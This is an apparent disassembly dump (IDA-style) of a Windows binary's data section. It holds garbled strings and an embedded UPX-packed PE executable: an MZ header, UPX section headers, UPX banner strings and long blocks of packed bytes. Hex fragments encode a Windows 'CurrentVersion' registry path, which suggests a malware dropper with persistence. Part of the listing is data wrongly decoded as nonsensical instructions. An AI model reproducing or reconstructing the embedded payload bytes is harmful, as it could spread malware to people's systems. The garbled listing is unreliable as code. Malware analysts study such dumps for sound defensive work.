a0sfvu		db ' 0SFvu ',0          ; DATA XREF: sub_406E3F+434o
dword_4413AD	dd 543A4Ah	aRO0p		db 'r= O0P',0           ; DATA XREF: sub_406E3F+513o
a_Leiv		db '.;^LeIV',0          ; DATA XREF: sub_406E3F+52Eo
aIara		db ' $iArA',0           ; DATA XREF: sub_406E3F+53Co
dword_4413C7	dd 804726h	dword_4413CB	dd 4B7F20h	a?Hg		db '`?^HG',0            ; DATA XREF: sub_406E3F+803o
word_4413D5	dw 6Eh			; DATA XREF: sub_406E3F+85Cr
aJA		db 'j €+  ',0           ; DATA XREF: sub_406E3F+A71o
aIs		db '`IS~',0             ; DATA XREF: sub_406E3F+A8Co
byte_4413E3	db 0			; DATA XREF: sub_406E3F+ABDo
byte_4413E4	db 0			; DATA XREF: sub_406E3F+B93o
aY3		db '& y$`3',0           ; DATA XREF: sub_406E3F+BFBo
aMNkY		db 'M#nk y',0           ; DATA XREF: sub_406E3F+C72o
word_4413F3	dw 6Eh			; DATA XREF: sub_406E3F+D07r
a747P		db '<747~P',0           ; DATA XREF: sub_406E3F+D1Ao
aUmxi		db '-Umxi',0            ; DATA XREF: sub_406E3F+D62o
a@mc@_6u	db '@mC@_6u',0          ; DATA XREF: sub_406E3F+E77o
a61		db '61',0               ; DATA XREF: sub_406E3F+E9Eo
aXfr		db ' xfR',0             ; DATA XREF: sub_406E3F+FA8o
aUkggv		db 'UkƒƒV',0            ; DATA XREF: sub_406E3F+1030o
aGG		db '<ƒ^>ƒ',0            ; DATA XREF: sub_406E3F+1107o
off_44141E	dd offset dword_442560	; DATA XREF: sub_407F91+67r
word_441422	dw 0FFFFh		; DATA XREF: sub_407F91+5o
		dd 8015FFFFh, 80200040h
		db 40h,	0
word_44142E	dw 5Fh			; DATA XREF: sub_408043+33r
byte_441430	db 6Ch,	2Dh, 0		; DATA XREF: sub_408043+46o
byte_441433	db 0			; DATA XREF: .text:004080A5o
		dd 6
dword_441438	dd 0Ch		dword_44143C	dd 0							; sub_40811F:loc_408155r ...
byte_441440	db 62h,	39h, 0		; DATA XREF: sub_4081B0+1A0o
dword_441443	dd 74697Ch	aIz		db '<iZ!',0             ; DATA XREF: sub_4081B0+241o
aMzr		db 'MZ',0              ; DATA XREF: sub_4085C0+88o
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0C8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 13h	dup(0)
		dd 4550h, 3014Ch, 41CA88F2h, 2 dup(0)
		dd 10F00E0h, 6010Bh, 4000h, 1000h, 5000h, 9820h, 6000h
		dd 0A000h, 400000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 0B000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 0A000h, 0D8h, 1Ch dup(0)
aUpx0		db 'UPX0',0
		align 4
		dd 5000h, 1000h, 0
		dd 400h, 3 dup(0)
		dd 0E0000080h, 31585055h, 0
		dd 4000h, 6000h, 3A00h,	400h, 3	dup(0)
		dd 0E0000040h, 32585055h, 0
		dd 1000h, 0A000h, 200h,	3E00h, 3 dup(0)
		dd 0C0000040h, 42h dup(0)
		dd 0A0000h
aInfoThisFileIs	db '$Info: This file is packed with the UPX executable packer http://'
		db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr	db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
		db 'served. $',0Ah,0
		dd 21585055h, 902090Ch,	0A2620A53h, 5F94A837h, 7269h, 381Fh
		dd 7000h, 38000426h, 92087EE9h,	905A4D00h, 43B0300h, 0B2C83200h
		dd 40B8FFFFh, 377FF97Fh, 1F0E04C8h, 0B4000EBAh,	0B821CD09h
		dd 68544C01h, 70207369h, 0FFFFFDBFh, 72676F72h,	63206D61h
		dd 6F6E6E61h, 65622074h, 6E757220h, 44026920h, 6D20534Fh
		dd 0FF6050EDh, 2E65646Fh, 240A0D0Dh, 134550C7h,	0FF21DBEDh
		dd 2014Ch, 41CA888Ah, 0B219DE0h, 0F080601h, 22B37EE9h
		dd 18A400E0h, 732510E0h, 6366F925h, 501E020Bh, 0E6760604h
		dd 341E0C96h, 59200710h, 0A006F65Eh, 757829E0h,	6FDDB201h
		dd 64D8017Ch, 3F764D38h, 742E3790h, 2B747865h, 6FFB20A2h
		dd 0EB96CBh, 2EE0041Ah,	6F6C6572h, 0ECA6CC63h, 0FB9E677Bh
		dd 42A22623h, 3D951079h, 30340370h, 669B2CDBh, 2FFA1226h
		dd 1B3046E2h, 3BAE9A69h, 32C0B42h, 0D36E5E14h, 4AB2CD34h
		dd 7062562Ch, 34D34D86h, 0C2AE9C4Dh, 9AF2E2D4h,	83659AEh
		dd 728182Dh, 9A69463Ch,	625469A6h, 0B28E786Ch, 9EA69A69h
		dd 2E2C6B4h, 0B9D34D2Fh, 2E0AF4CDh, 3C240397h, 0D34D344Ch
		dd 7C6A5C34h, 34DB9A8Ah, 0C0AAD34Dh, 2EF2E6CEh,	0A77659BFh
		dd 1087243Bh, 0E42BF403h, 0A69A69A6h, 0B6C0CAD4h, 6D60BAACh
		dd 9098A29Ah, 0B27FD72Bh, 0E9B67B66h, 2F8A9603h, 3307813h
		dd 17FFFF88h, 813066D2h, 54464F53h, 45524157h, 63694D5Ch
		dd 6F736F72h, 0FFFFE566h, 575C74FFh, 6F646E69h,	435C7377h
		dd 65727275h, 6556746Eh, 6F697372h, 68535C6Eh, 0DB6FFB7Fh
		dd 760C536Ch, 624F6528h, 7463656Ah, 79611044h, 64616F4Ch
		dd 7015AD6Eh, 82B3947h,	3F4D6739h, 2006A5FFh, 7041DB6Ch
		dd 6D747261h, 495C6E65h, 5EDFFA6Eh, 3B635303h, 323302h
		dd 49534C43h, 0D9235C44h, 0BBE77Eh, 3830257Bh, 34042D58h
		dd 61DBFA5Dh, 83237D03h, 9090FCECh, 5706F0E8h, 0AFBBDEF7h
		dd 3759060Bh, 74697845h, 0DE827C73h, 4CFB6046h,	71726269h
		dd 686B3B79h, 0D76C656Eh, 0DF67BF6Eh, 1B545FB5h, 0FD55779h
		dd 0DBFB7DF6h, 7562B565h, 69725067h, 67656CC7h,	305C2365h
		dd 1ED77850h, 0F2B642Eh, 4F4C5058h, 0B7376F11h,	727033D5h
		dd 61C52172h, 73642B62h, 0DEC6F66h, 126F6236h, 0BB79732Eh
		dd 0A0DD035Ch, 4964B835h, 3A5D5C21h, 0B7F6472h,	511A8FB1h
		dd 1F335F74h, 4F5F5CECh, 0B2186570h, 566EFE57h,	61484478h
		dd 6E706Eh, 37FFB5ACh, 542D2D4Dh, 51574B59h, 4A484647h
		dd 61130E0Ah, 411FF9EDh, 41594245h, 464C4853h, 67025B25h
		dd 20EF7B09h, 12050320h, 7BEE3023h, 0F32B0EFh, 15040B3Ah
		dd 83601E33h, 57677FFCh, 4B574A45h, 45574A46h, 13BBAB41h
		dd 444EFE9Ah, 44525349h, 0FF971A03h, 901FA200h,	0B6ECBCBh
		dd 8D0F1FA6h, 0B9219121h, 2319A4BCh, 35253123h,	7FD36D25h
		db 0D9h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 57740150h
		push	24h
		dec	ch
		imul	ch
		adc	eax, 8D1E112Ch
		inc	ebp
		lock push eax
		or	[eax], ebp
		movzx	eax, word ptr [ebp-6]
		push	eax
		mov	esi, ds:74F3CF20h
		iret
; ---------------------------------------------------------------------------
		db 0Ah
		dd 0FE0450FCh, 66F4F6F8h, 50F7FB9Bh, 5B78858Dh,	0C068F075h
		dd 10D63826h, 0ECBB36CDh, 68FEB017h, 0C4F14B4h,	7F1DB76Ah
		dd 599904FBh, 0DC5FF9F7h, 5205C283h, 0D60C2A50h, 0CC10345Dh
		dd 832F73BDh, 271538C4h, 29B06850h, 76DB3B81h, 0BF8F5B77h
		dd 575080A0h, 220F1228h, 736E5214h, 15A40647h, 8763730h
		dd 0E6B07D33h, 310B1766h, 68096A2Ch, 0E761D898h, 8830C9ECh
		dd 0DB9F2845h, 372F66FDh, 40687909h, 6E026823h,	986E7786h
		dd 5F12606Ch, 22C3C95Eh, 1BEF0AEFh, 8B5318E1h, 6726A91Dh
		dd 7D89FF33h, 0FF0AEFFCh, 83D3FFFCh, 895010C0h,	0DC1C312Ch
		dd 3B59F08Bh, 23840FF7h, 37BAEFDBh, 680A6A49h, 17563AE4h
		dd 56A021Dh, 0F00F468Dh, 7B16DFB7h, 18590F81h, 7640D3B4h
		dd 0ED6C0F46h, 1509730Fh, 2068570Ch, 14752412h,	0DED93FFBh
		dd 0E75C73Bh, 6A041809h, 8D23EB02h, 0F351F84Dh,	0B3DB1337h
		dd 2BF8111Ch, 50215E2Ah, 6EEDC210h, 0FA08823Bh,	13E95803h
		dd 0FB62840Ah, 68F7DD77h, 57833000h, 8B1F4C2Eh,	74DF3BD8h
		dd 5C14687Dh, 1BB73AD9h, 4681048h, 0EF4B70Ah, 0BB6F6044h
		dd 8BF66ABFh, 0F86858F8h, 5AC32B58h, 16F803F4h,	0F4BFC28Dh
		dd 0C87E89F1h, 0C103CB2Bh, 210B4689h, 0B86E7E22h, 5356E10Dh
		dd 104023B0h, 0EEF633E8h, 0C2DFEC6Fh, 50560F43h, 16565653h
		dd 74C68C3Ch, 17EE7709h, 0EB389B8Dh, 431C710h, 350807EBh
		dd 699ECDFh, 7111A25h, 611B7D8Bh, 5B6006A1h, 57465161h
		dd 8E310F60h, 96BB66DFh, 542461FCh, 0A31CAF0Fh,	0FFDE0EB4h
		dd 0A12175FFh, 7621B907h, 0C0693524h, 7F7C7BFBh, 6851C82Bh
		dd 98EDC212h, 1D582BD9h, 74BFD0F7h, 0F6FB2D24h,	0C701C7DCh
		dd 0A756155Ch, 0C033500Ch, 0DD3306BCh, 9A6B0CA1h, 6C5DA160h
		dd 0D9131A3Bh, 206AD956h, 0B438641Ah, 0DE089D8Dh, 16ECA2F0h
		dd 0D866B738h, 522E3019h, 6B02F8C3h, 0C7DBDA1Bh, 13010E10h
		dd 0D537106Ah, 0AD99E9B3h, 0C61014FCh, 0A702284Bh, 780DCD73h
		dd 4104FDD8h, 9D237C51h, 15117A79h, 0E07813E0h,	1F9259B5h
		dd 111244CFh, 72E9DB54h, 8B740ED3h, 2F7483F0h, 0D9E80390h
		dd 78325B64h, 1270A056h, 21199D35h, 681B6C57h, 0EF8D1F5Eh
		dd 537D8986h, 5357DB33h, 0EE906440h, 0E70B6FBDh, 6C745B83h
		dd 0A218BE56h, 6667BF6Ah, 87F538Ch, 15B5890Fh, 0D3EC5750h
		dd 858A3FD2h, 9F3674C0h, 39D66784h, 6CE6E199h, 26137476h
		dd 0EB158420h, 9BE171E3h, 0FC145B35h, 57D9895Bh, 0B067FC61h
		dd 0C38B5E3Fh, 48D5B5Fh, 56085D8Bh, 0B7FE5357h,	590EFDBEh
		dd 0C88B3D66h, 0D1443F76h, 5C1A3C80h, 0C1810D74h, 0AF6FFF6Dh
		dd 77C9151Fh, 4101EBECh, 73C83B66h, 0FFC91B23h,	2B4BE17h
		dd 0F12B6DF0h, 8DC51778h, 8A470814h, 94881A14h,	63766105h
		dd 0C7186D7Bh, 7AEB7E6Dh, 18B7C62Fh, 644C90A6h,	560C245Ch
		dd 0DDB7AF9Dh, 7C8B57FFh, 0DB851024h, 0A6E197Eh, 6AC02EABh
		dd 0E6787D1Ah, 0C280FFFEh, 3E148861h, 7CF33B46h, 1F2480E7h
		dd 109F3200h, 0F8EC2C02h, 8B0C8FFFh, 5648084Dh,	50BC0D89h
		dd 0F0C67775h, 930B237Bh, 0F898A151h, 4F84536Fh, 0DA0BB0B6h
		dd 0C711FC1Bh, 0C75C2404h, 76F67B01h, 59D759D6h, 68152E75h
		dd 0CBF01354h, 4E1AB37Eh, 0B27093Bh, 0CEB0408h,	0BDAFE161h
		dd 193C68F1h, 59E0A929h, 0C3585059h, 702795F7h,	189B0CC2h
		dd 72891703h, 0FB3DB363h, 12946801h, 8F59D126h,	95B73DA8h
		dd 934F85BDh, 940E01FEh, 0C9ADBF5Dh, 5D9C64C9h,	0F8F07B57h
		dd 6D937C9Dh, 80A530BBh, 0B1E19F68h, 59CDB44Eh,	3F00C0A3h
		dd 5F7BACA4h, 3C7C315Fh, 70241235h, 0B36E960Ch,	0BFA04505h
		dd 6657E564h, 55A05A78h, 26136DB7h, 0B93D9B9Ch,	0EBEB05FDh
		dd 0CFCE8E6h, 580A3468h, 77166CC7h, 756A7B16h, 0E15D2733h
		dd 0F7E35F17h, 0D8CDE804h, 8B76E69Fh, 0FC18A2F1h, 5006C79Ch
		dd 8C654113h, 1A1DE399h, 14C0196Ah, 8D66B605h, 0B7102610h
		dd 6E741F20h, 126D5781h, 0B0C30257h, 1EB56F09h,	18C8D761h
		dd 59350B75h, 89FF2DC0h, 1CEB147Eh, 9575757h, 99BEAC47h
		dd 14463EB7h, 20469974h, 8B1C1601h, 7F685FC6h, 568DC6D7h
		dd 420F6283h, 82444F6h,	66D82001h, 20D611DBh, 1B5E1D59h
		dd 0BB6F3DA2h, 8BEAFB59h, 74689D5Ch, 8BD77403h,	95A3DB76h
		dd 0F68514EDh, 61465609h, 0FB7F752Ah, 0DF1CB7F6h, 375F03Bh
		dd 515B718Dh, 27FA8318h, 20453925h, 35B20675h, 0C183FDB0h
		dd 3EB5104h, 184720D0h,	0B3F51402h, 0AF10D674h,	5DB44552h
		dd 5EB61CC2h, 0B870D805h, 0E41A7AC4h, 42BEE510h, 681804FFh
		dd 9A7A20C4h, 0C847896Ah, 0E4CED8h, 0CC18086Ah,	2BD8D8C8h
		dd 1016C420h, 11D94C35h, 18D4D032h, 1A05B08Dh, 69140B2Ch
		dd 1D19D81Bh, 45148E7Ch, 530800A0h, 170A565Eh, 605E12CCh
		dd 0B8FC4D61h, 0C604660Bh, 0C040940Ah, 0C0B383ABh, 70BDDDEDh
		dd 5750211h, 3CEBEA8Bh,	0CD0612CBh, 0AFBCC187h,	53A46810h
		dd 76FC1A8Ah, 0EB760362h, 0C7D3931h, 5D2BA5Dh, 17D0191Eh
		dd 1EE002EBh, 0DD6B5BB8h, 575F30F6h, 0AE718D00h, 0C57EDC91h
		dd 2189344Ah, 8C20E94h,	0F1386DAEh, 880BF98h, 98E7857h
		dd 8BEF12DBh, 0C331085Eh, 0FDF402F0h, 205C74C3h, 2C147449h
		dd 9BA1C7C8h, 660DA265h, 0DD4A7AC4h, 46E25C68h,	0EFE84D6Dh
		dd 0BA4F510Ch, 0F13563FFh, 0D8F7FC26h, 2456C01Bh, 71E405FCh
		dd 0D4839B50h, 18A86FC5h, 0C503E595h, 91B7B36Ah, 0C445FFB1h
		dd 940F753Bh, 8FB693C0h, 0F9D91F06h, 0CC264A3Eh, 0DE35B18Bh
		dd 59104D17h, 91060689h, 0F977CFA6h, 883B986h, 0E048A04h
		dd 0C460101h, 78FB5D27h, 18E7106Dh, 44C77AD5h, 8D9D5342h
		dd 0D9437639h, 5945F66Ah, 62065746h, 0CB3EB243h, 0F6AA3D06h
		dd 0B46C2B6Dh, 0CC9B54Ch, 5F018963h, 62144B56h,	4C5B5DDCh
		dd 0A420418Bh, 0DED6B455h, 56E1314Ch, 0A4CF3F68h, 16475D00h
		dd 14158866h, 0EB670574h, 8CDC336Ch, 0A9AAA627h, 6332001Dh
		dd 68039C1Bh, 0B8040F5Eh, 20612F6Dh, 0B60F6660h, 8AFB0573h
		dd 785EBB64h, 0C10B9897h, 58681261h, 28D05213h,	2E21FBC2h
		dd 6408A164h, 0A3072589h, 0DDC6C7CEh, 6589D22Ch, 0C29A5E8h
		dd 57F42724h, 0BBB07BD7h, 50C3030Bh, 0CC0AF868h, 0E4B40B76h
		dd 0F404014h, 0D170E12Eh, 61E0B916h, 2B34AF38h,	0F192A952h
		dd 90B36BFBh, 1AFA9B69h, 0D9B94DCh, 0A1538593h,	94934390h
		dd 0B6EB5B4Fh, 2FE416F8h, 0DB084239h, 0C0BF45F7h, 3BC8DA2Dh
		dd 7C807C5Bh, 573201Eh,	5A6D44C6h, 2E066FE2h, 0FFE9EB40h
		dd 75461F76h, 1BC3E075h, 81AE086Eh, 6480E003h, 0BAB1B961h
		dd 50CC3105h, 0A60C04D4h, 0A246A6DDh, 1E081D5Fh, 0D80450DAh
		dd 3CF3CF3Ch, 0CECCD4D6h, 79E79ED2h, 0B60A46D9h, 5060746h
		dd 0EF9E6A04h, 30818F9h, 6010204h, 602353B6h, 92156A71h
		dd 3405885h, 5790E813h,	3EC498C9h, 8598BF72h, 2350C49Ah
		dd 683F50AEh, 0ADC6B6Fh, 420821D0h, 37865950h, 0D911623Eh
		dd 0EBFFC483h, 1696D20Eh, 8BC3C2BEh, 598B0C75h,	0D907F185h
		dd 0BEFA37D3h, 7D83CF1Ch, 0E07000E0h, 1A46160Eh, 72CC9684h
		dd 0F20DB4F0h, 0CE718A70h, 0F468D8FBh, 3811C9F0h, 0ABFFC883h
		dd 7C2CCDF6h, 55C09FA1h, 92D63B0Ch, 9EA50D79h, 77FCB42Eh
		dd 86E41DE6h, 0FFFF7AF2h, 135EBB4Bh, 0DCA6CE8Bh, 2973CA3Bh
		dd 8839048Ah, 303CC045h
		dd 393C0972h, 8F4D1D73h, 0C0F87D77h, 4B0A0D6Ah,	797F74B8h
		dd 0D8F18BE4h, 0EB4106EBh, 0F390FD0h, 0EDBC2885h, 4A8DBD1Fh
		dd 48F13BF6h, 0FD735C15h, 88D1DFFFh, 144E8D00h,	2A7DC13Bh
		dd 2673C23Bh, 88380C8Ah, 0F980BC4Dh, 0B6B19A2Dh, 54040A53h
		dd 0DB77C959h, 75DB37DBh, 4092530h, 0D46583h, 0D44D3910h
		dd 0D966AFA0h, 8DBF76DEh, 75C23B56h, 0B8388A1Fh, 9A78D8E8h
		dd 1905080Ch, 36C143A4h, 0F8D6D8CCh, 802ED4ADh,	0D0F65181h
		dd 2113C62h, 0CD08D0Bh,	0FD87777h, 3E048D02h, 0E021B50h
		dd 0F023E44h, 498C639Eh, 80D346D0h, 0AD85C11h, 0B1208D0h
		dd 4C883C4h, 4AEE37B7h,	7F3205C2h, 7C01C40Ah, 7E0C0405h
		dd 6237895Dh, 43EA1A0h,	5066E31h, 0E6EC5AD4h, 6077530h
		dd 2C187431h, 1B0B3003h, 0D70997ADh, 10D86846h,	18BB6D4Ah
		dd 0E00A9214h, 0B84EA76h, 0C58830A1h, 9098C3C3h, 5878E423h
		dd 19679CDBh, 0D35DC569h, 0FDB05DB3h, 9EBF3C80h, 48B662Eh
		dd 0F2A02F4Fh, 35B97E10h, 97F0D7Ch, 0C475E33Ah,	0C972C33Bh
		dd 5BCB5321h, 35BB6150h, 572A2E53h, 9C62470Ch, 0BF087EC5h
		dd 590E7CB2h, 3BC975EBh, 0D33275CBh, 974C2CB0h,	0EFC65D5Dh
		dd 0BF74B34Dh, 9124753Dh, 0C109847h, 3043B164h,	33949DCBh
		dd 0C3E9C26Fh, 5306CBBBh, 900BBE4Ch, 0CC841966h, 0C47704CAh
		dd 65C25FF2h, 0DA047704h, 5330C483h, 4C0A6A53h,	0ACD6DF07h
		dd 5325FF0Ch, 497A20ABh, 0B815CE46h, 0D9AF27CCh, 0E4AAD91Bh
		dd 0D90C1EA8h, 8D919037h, 0A8A800A4h, 0A36FF3A3h, 7C8366F1h
		dd 7100085h, 875300Ah, 0EC3C304Bh, 75BE310Ch, 47FF9E0Fh
		dd 16C811C8h, 0AE608852h, 0FA260394h, 4B466EB7h, 0ECEB5CFDh
		dd 3DC86212h
dword_442560	dd 7D6857C3h, 7E80C58Bh, 423A0617h, 866DCE6Dh, 1CA5196Dh
					; DATA XREF: .data:off_44141Eo
		dd 1E05F51Ah, 0D26329C1h, 0C22936Ch, 0ABE824D0h, 5EFE0D6Fh
		dd 3F32B36h, 0D1B89B30h, 0C11656EEh, 16F06DAFh,	0DFFC60Eh
		dd 0B54A140Ah, 2A2AB472h, 37096F20h, 22A850B3h,	0BF09037h
		dd 0BF6E1174h, 0F3928D1h, 0D1C22B99h, 27E0EF8h,	0EB6356B1h
		dd 0D33F923h, 7615AB2Ch, 0F6FD1CBh, 818DF9D1h, 7E275F70h
		dd 7FB76605h, 0EBACE9A1h, 79FEAC16h, 0B87D3B02h, 0B8F84173h
		dd 42F62D2Bh, 0AD90EC13h, 67501F04h, 0C4B62D72h, 15F703DBh
		dd 0D8E8D190h, 0DB1955C7h, 43A3F336h, 0B0E1655h, 647D6F47h
		dd 7FFF1EDFh, 7CF73BF0h, 17E8D06h, 814FBAEBh, 0A6E2A4C7h
		dd 473FE3Bh, 0D5B6FC1Eh, 4EACF78Bh, 2B00FC5Fh, 7622AC75h
		dd 0A30C90A1h, 7890024h, 5CD9A604h, 4789A4FBh, 7F9F504h
		dd 12B4C808h, 0A9CB5285h, 21C098A7h, 322B1A37h,	0B1101047h
		dd 8E95BA10h, 0A1A5C744h, 0AA32D527h, 401D4582h, 9436186Eh
		dd 97573C60h, 2BB54868h, 0A05B7619h, 980E15B8h,	8E0C9E9Ch
		dd 9193E951h, 0CE35C73Eh, 2A2EE05Dh, 0B741E14h,	6A6E4611h
		dd 850B5BF8h, 8B5A9A04h, 2084B88Ch, 77B9CA53h, 0D7715B1Fh
		dd 5589DC24h, 3C8D1AE8h, 7E1704BDh, 43C969ADh, 8DA0072Bh
		dd 1B10A402h, 8501D49Fh, 300F560h, 8605FEBBh, 6857E035h
		dd 1345F9B8h, 0CC308573h, 4816B80Eh, 0DB59893Eh, 3913EC18h
		dd 0AFA26285h, 1A3A441h, 6BE0ACEAh, 6F7F7269h, 734FF64h
		dd 40BB4E5Dh, 82A012C5h, 4A95CD9Bh, 10689731h, 84EC5027h
		dd 98C439CEh, 11830CDEh, 8BA5EE72h, 12FE7A3Dh, 0A8DBA0B9h
		dd 7CC052C5h, 7B1BAC01h, 7517DBFBh, 0EBE51839h,	8DE00B37h
		dd 6C51D01Ch, 19B0F65Ch, 1BE1103h, 0FD7B0F20h, 282BB1DBh
		dd 0BD6F1B06h, 0CC38151Ah, 0A3C4B5FFh, 4DCD99F9h, 1863CCD0h
		dd 0DDBB8C0Eh, 711E0B0Dh, 30CB84EBh, 0D868D31Bh, 0B9EC9D90h
		dd 996975B8h, 10984B4Fh, 53061326h, 244F8053h, 0EB4E404Ch
		dd 0B7646A91h, 5F471304h, 439C87EBh, 6C2008C6h,	0E88C0DB8h
		dd 63C7ABBAh, 5D346A42h, 0C11D72Fh, 0F460C6C7h,	7DAF6359h
		dd 460B2C8h, 23F0B850h,	11EC0912h, 61548C19h, 0C80BEEC8h
		dd 51C78359h, 7CC84D83h, 0EBF160C0h, 1C285778h,	8EC6045Fh
		dd 1B6B5AF0h, 0E8BAC0Bh, 0DAB74C33h, 76D09899h,	0C8B52139h
		dd 0B83351A6h, 3E8924CFh, 0FCBBA289h, 0B8844420h, 6425527Dh
		dd 97D684AFh, 0C683477Eh, 72F0C208h, 0A75ECFh, 0D81DCC04h
		dd 0C4C75F78h, 5328D574h, 0CBFAE07h, 474CD135h,	9F11280Fh
		dd 67E8666Ah, 2C11138Bh, 480825FFh, 0C8E79105h,	0F80004C8h
		dd 0C16CF410h, 0ECF0919Ah, 0E81900CCh, 8C8CEC27h, 5100DCE0h
		dd 1BF6F33Dh, 0F58D767Dh, 81147208h, 662D87E9h,	7F6F162Dh
		dd 170185ECh, 0C82BEC73h, 8B0CC48Bh, 0C8F18BE1h, 40C1B748h
		dd 804FC331h, 869F8C88h, 0E9998CC8h, 602960B8h,	77C9C96Fh
		dd 0C8133A1Dh, 284A0088h, 520F4F7h, 80E11993h, 0CC397E16h
		dd 34F7D03Dh, 85A8271Bh, 48206F50h, 972EDF1Bh, 132B0D97h
		dd 10DC2C32h, 35802A74h, 2F7C4BCBh, 3A276C1Ch, 0D6E5CB20h
		dd 5811142Fh, 5CDA3058h, 805FAC76h, 2898132Bh, 2089E811h
		dd 2A6578Ch, 0BFE59F72h, 9709E6B5h, 6D656D02h, 99797063h
		dd 0B3B96573h, 0BE7497FCh, 72747302h, 0C56E656Ch, 0DD3BC302h
		dd 63096BCFh, 31BA1D61h, 0B76CD3A6h, 333F3F7Fh,	58415940h
		dd 5A400250h, 0FD320F0Fh, 0E3AF837h, 0AACA0F49h, 65637865h
		dd 685F7470h, 43D16EDDh, 3DC17252h, 696F4302h, 0B2FDADB3h
		dd 435F491Bh, 85467878h, 781D4875h, 0AF0ADEA3h,	5F484513h
		dd 676F6C82h, 0B41BD42h, 5243D031h, 7D9C7B54h, 49573DB6h
		dd 0C45014Eh, 8A6C038Fh, 0DEE0B641h, 0AA0B7933h, 3743240Bh
		dd 0B54276A8h, 0D60BDBFh, 0DEDB5460h, 52657474h, 81056FD3h
		dd 0FDB6B7BAh, 7257037Fh, 62500E69h, 4D737396h,	0FB9B721Bh
		dd 89C7EED7h, 13F64701h, 72646441h, 2E671117h, 213AA5D8h
		dd 5F4F6C75h, 0FFDAD809h, 69560356h, 61757472h,	2A84416Ch
		dd 0C10A8445h, 261751Ch, 0B5354C31h, 33FFEA9Bh,	6B636954h
		dd 4E756F43h, 6490207h,	0AEED86B6h, 656B2BD5h, 3632E64h
		dd 0EB579767h, 4D41C04Ah, 65555075h, 4DEA930Fh,	452FA136h
		dd 0FDFEDAD1h, 3885961h, 0DB636C5Fh, 5302F500h,	0BC80461Dh
		dd 6710A56Dh, 14F0D6Dh,	70E09E47h, 6F258BDDh, 70210B8Fh
		dd 0F6B6D579h, 5323A66Bh, 44EB0F79h, 0E6EC1EBEh, 16F10C5Ah
		dd 335B0273h, 2BB64E32h, 30D7026Bh, 718C4975h, 0CB68E6C8h
		dd 0AD066525h, 0AA96DF68h, 0B0A36F70h, 6E531870h, 6B617061h
		dd 6F2846DDh, 7F43D51Bh, 784B1E62h, 414482DBh, 45DB6D65h
		dd 7C33BB46h, 15EA4EA5h, 0B530329h, 16D83714h, 2FDA00ECh
		dd 0D2306E1Ah, 0CD86F92Fh, 0C3ACD5AAh, 0DAD6C85Ah, 45614CF2h
		dd 468511A0h, 3B9D66F7h, 1FAE7645h, 60640F4Ah, 7AAEC2B4h
		dd 6544007Fh, 886F49FBh, 0D6D5671Eh, 0E5004C76h, 79651F31h
		dd 61378000h, 87022ED5h, 8D965DC8h, 453C1386h, 61236592h
		dd 1600446h, 255368D8h,	0CF75426Ch, 0A900F8D4h,	721C4902h
		dd 735B2DEBh, 7043AD6Ch, 694C430Ah, 0C9BD53C2h,	3D217386h
		dd 0C288765Fh, 0D5284B08h, 0BBF19F79h, 1C68F436h, 7D18FF50h
		dd 2EDB4500h, 4508F653h, 5C646969h, 0B76A9F68h,	2767428Dh
		dd 7942146Ch, 0CE6ECA26h, 284F55D1h, 787A6927h,	63090330h
		dd 0F459B55h, 0DFE96AB0h, 454B00F8h, 0C74C3C52h, 70A95D0Bh
		dd 635D02D8h, 7B716682h, 258CC218h, 71D6FC80h, 1789E9C3h
		dd 72676506h, 0ED2564D0h, 7C3B36h, 0CAF00E3h, 5A53553Fh
		dd 61E176B6h, 0F9001C57h, 0B3EE756Ah, 9DB06Bh, 73B7149Ch
		dd 36C3017Dh, 126FADC9h, 96567075h, 621EA775h, 1A86901h
		dd 528B343Dh, 0D48E16F0h, 654BC620h, 440DF8A9h,	34CC4336h
		dd 0CC1F9A30h, 3BDFD6D8h, 411220ECh, 496F5644h,	79424B83h
		dd 6F432561h, 6C112755h, 0F666785h, 54754730h, 6B0D390Fh
		dd 1F49D603h, 0AE3C916Fh, 845160h, 0DFD6FFCEh, 5C333F50h
		dd 6C336033h, 337C3A33h, 338C3380h, 6FFFF90h, 33AF33FFh
		dd 33C433B9h, 9341BEBh,	31342234h, 5A345334h, 84347934h
		dd 0FFFFFF34h, 0BB34A8FFh, 0F634CC34h, 2B350634h, 3B353135h
		dd 5D354E35h, 88357D35h, 93358E35h, 0A7359D35h,	0FFFFFF35h
		dd 0D335B4FFh, 0F535EA35h, 35361035h, 48364036h, 61365B36h
		dd 77366636h, 97369036h, 0B236AB36h, 0FFFFFF36h, 0D136C2FFh
		dd 436E636h, 23371837h,	39372A37h, 68375337h, 0C2376F37h
		dd 0F937F237h, 0B7386937h, 0FFFF5638h, 0DE38CCFFh, 0FF38EB38h
		dd 50392938h, 80395C39h, 9A399439h, 0B839A539h,	0FFFFA539h
		dd 39C5FFFFh, 39D239CBh, 39E039D8h, 39F839E5h, 3A483A0Dh
		dd 3A843A4Fh, 3AA53A92h, 3AED3AE4h, 6FFFFF3Fh, 3C123BF1h
		dd 383C0E27h, 5E3C3F3Ch, 0B13CA33Ch, 0F23CBE3Ch, 0C73D043Ch
		dd 0FFFFFF3Dh, 0F53DE5FFh, 183E133Dh, 3A3E343Eh, 7F3E793Eh
		dd 0E93E983Eh, 573F503Eh, 6B3F643Fh, 863F7B3Fh,	0C34A3F3Fh
		dd 0CB3F98FFh, 0EC3FD13Fh, 0F3FF13Fh, 302A7320h, 0FFFFFFFEh
		dd 31B531B0h, 3320330Ah, 3337332Ah, 33B533B0h, 35663553h
		dd 362C3615h, 364A3633h, 0FFDC3657h, 0C3EFFFFFh, 375836ECh
		dd 37C837B4h, 37FA37F4h
		dd 38403836h, 38593847h, 38993887h, 38A638A0h, 0FFFBBFFFh
		dd 38B238ACh, 38BE38B8h, 38D238C4h, 3922D1D8h, 392E3928h
		dd 3951393Dh, 39843968h, 0E3584004h, 0F0AC3990h, 12819200h
		dd 0F7D0FF8Ah, 75ABFF65h, 3149D00Fh, 31ABE6Eh, 7151ABFh
